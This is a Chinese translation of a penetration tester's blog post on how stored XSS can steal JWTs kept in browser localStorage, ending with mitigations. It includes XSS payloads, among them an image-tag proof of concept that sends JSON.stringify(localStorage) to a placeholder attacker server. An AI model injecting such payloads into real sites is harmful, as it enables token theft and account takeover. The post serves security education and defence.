本文为翻译文章,原文链接为:https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0

几个月前,我遇到了一些JWT的问题,最终导致Web应用程序的漏洞。有些情况包括通过XSS窃取管理员token以及在账户注册期间伪造以达到管理员权限。

JWT和传统cookie不同,他们有些相似,但人们对它又有些模糊的错误概念因为他们不能被利用传统的攻击方式。

通过这个博客,我会简要描述什么是JWT,它与传统cookie的相似之处,以及不同之处,讲一个关于如何窃取他们的例子以及如何防御。

什么是JWT?

简而言之,JWT就是JSON Web Token。这是一种系统对用户进行身份验证的简单方法,且是使用的开源库进行实现的。JWT由三个点分隔开的组件组成:

header.payload.signature

header通常描述的是它用了什么哈希算法,payload包含的是用户相关的信息(例如角色,权限级别等),signature保证完整性。

在大多数的配置当中,一旦用户提供有效的凭据,token就会随着HTTP头发送并且用于即将的身份验证缓解,这里有点像标准的会话cookie。

近几年已经有过很多关于JWT漏洞的报道,例如算法攻击,操作payload达到更高权限。这篇文章中,我不打算深入研究JWT的架构和以前报过的漏洞。

如何获取传统cookie和JWT

们快速的复习一下cookie的用途,它就是用来对状态协议(HTTP)提供有状态信息。举个例子,会话cookie用于跟踪用户在Web应用程序上的经过身份验证的会话。所以会话记录必须同时存在于服务器和客户端。

而JWT上token本身可以是无状态的,也就是没有会话记录保存在服务器端。相反,发送到服务器的每个请求都包含用户的token,服务器在其中验证用户的真实性。

cookie和JWT都遵循类似的事件流来请求和获取会话token,一旦用户提供了有效的凭证,那么服务器就会返回一个会话token。cookie通过set-cookie来设置,JWT可以通过Authorization头字段来设置。

他们储存在哪里?

使用一个默认的配置来总结:

localStorage / sessionStorage

  • 默认情况下,你可以在这里找到JWT。
  • Web浏览器容器几乎完全相同。
  • 浏览器关闭后,localStorage仍然存在。
  • sessionStorage仅持续到浏览器关闭为止。
  • 只能在客户端读取,而不能在服务端读取。
  • 可以通过javascript读取(!)。

cookie

  • cookie是为了发送给服务器进行验证
  • 有了正确保护后是没法被javascript读取到的(!)。

传统的cookie保护

身份验证用的cookie经常被使用XSS漏洞进行攻击窃取,为攻击者提供劫持会话的能力,并最终通过易受攻击的网络服务器来进入到网络边界以内。

有些头字段可以为存储在cookie容器中的数据专门进行设置。是可以解决XSS的问题(例如,HttpOnly字段,secure字段,path字段和domain字段都提供了不同级别的保护)。

但是你将JWT存储在localStorage中,就好像把密码明文存储在文本文件里。

通过XSS窃取localStorage中的JWT的样例

在最近参与的一次测试中,我发现了一个存储的XSS漏洞,该漏洞使用JWT进行身份验证,一旦设置了有效的XSS payload,访问该网页的任何用户都会将他们的JWT发给我。

最初我无法通过XSS获取JWT,大多数是因为每个JWT都有一个唯一的标识符/键值,因此在不知道这个信息的情况下无法获取它。

例如,在javascript警告框中呈现cookie的方式

<script>document.cookie</script>

由于localStorage的数据存储在数组中,因此无法使用类似的方法调用。

<script>alert(localStorage)</script>

有一种来获取localStorage或sessionStorage中数据的方法是通过getItem()。

<script>alert(localStorage.getItem(key))</script>

示例:

<script>alert(localStorage.getItem(ServiceProvider.kdciaasdkfaeanfaegfpe23.username@company.com.accessToken))</script>

但是做到上述你需要限制的这个唯一标识符“key”,如下所示:

我想你可以暴力破解它,或者写一些javascript来迭代localStorage中的对象,或者为什么不把所有内容都dump下来?

同JSON.Stringify有个不错的方法。这会把localStorage的内容转换为字符串从而解决这个问题,例如:

<script>alert(JSON.stringify(localStorage))</script>

一个完整的用于窃取JWT的XSS PoC应该如下所示:

<img src=https://<attacker-server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>

根据目标的实现,这可以帮你提供一些IdToken,accessToken等有效令牌。IdToken可以用于验证和伪装用户(实际就是账户接管),accessToken可以生产带有身份验证端点的全新IdToken。

这里最大的问题就是将传统的cookie安全头字段用于localStorage存储的能力。

解决修复

  • 虽然结果会有所不同,但是还是可以通过使用传统的cookie保护措施来保护你的JWT;
  • 不要在localStorage中存储敏感内容,例如JWT或其他凭据,localStorage的目的是保存网站状态和设置来提供优良的用户体验;
  • 考虑使用cookie头字段而不是authorization头字段;
  • 设置cookie保护;
  • 不要在URL或者源代码等处显示token。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖